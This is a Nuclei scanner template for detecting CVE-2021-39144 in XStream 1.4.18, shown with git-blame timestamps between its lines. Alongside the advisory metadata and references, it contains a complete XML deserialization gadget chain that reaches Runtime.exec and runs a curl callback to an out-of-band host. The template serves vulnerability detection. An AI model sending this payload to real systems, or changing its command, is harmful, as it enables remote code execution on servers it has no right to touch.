2023-03-12 03:38:05 +00:00
id : CVE-2021-39144
info :
2023-04-17 12:11:21 +00:00
name : XStream 1.4.18 - Remote Code Execution
2023-05-06 16:36:32 +00:00
author : pwnhxl,vicrack
2023-03-12 03:38:05 +00:00
severity : high
2023-03-23 11:21:46 +00:00
description : |
2023-04-17 12:11:21 +00:00
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade XStream to a version that is not affected by CVE-2021-39144.
2023-03-12 03:38:05 +00:00
reference :
2023-03-29 20:18:04 +00:00
- https://x-stream.github.io/CVE-2021-39144.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-j9h8-phrw-h4fh
- https://security.netapp.com/advisory/ntap-20210923-0003/
2023-04-13 14:51:32 +00:00
- https://nvd.nist.gov/vuln/detail/cve-2021-39144
2023-07-11 19:49:27 +00:00
- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
2023-03-29 20:18:04 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score : 8.5
cve-id : CVE-2021-39144
2023-07-11 19:49:27 +00:00
cwe-id : CWE-306,CWE-502
2023-10-14 11:27:55 +00:00
epss-score : 0.96508
2023-10-18 16:26:30 +00:00
epss-percentile : 0.99442
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : xstream_project
product : xstream
tags : cve,cve2021,xstream,deserialization,rce,kev
2023-03-12 03:38:05 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-12 03:38:05 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='java.lang.Runtime'/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
2023-05-06 16:36:32 +00:00
<string>curl http://{{interactsh-url}}</string>
2023-03-12 03:38:05 +00:00
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
2023-03-22 10:03:02 +00:00
- "http"
- type : word
part : interactsh_request
words :
2023-05-06 16:36:32 +00:00
- "User-Agent: curl"
2023-10-19 13:13:52 +00:00
# digest: 4a0a00473045022100d717c5f500f11e241642e90ff2756fc5d55dcedf695e112be10da410dea9617302200a674b74437f4712b4e942dfb6d40f351b434060e9736605bb3df84252874dda:922c64590222798bb761d5b6d8e72950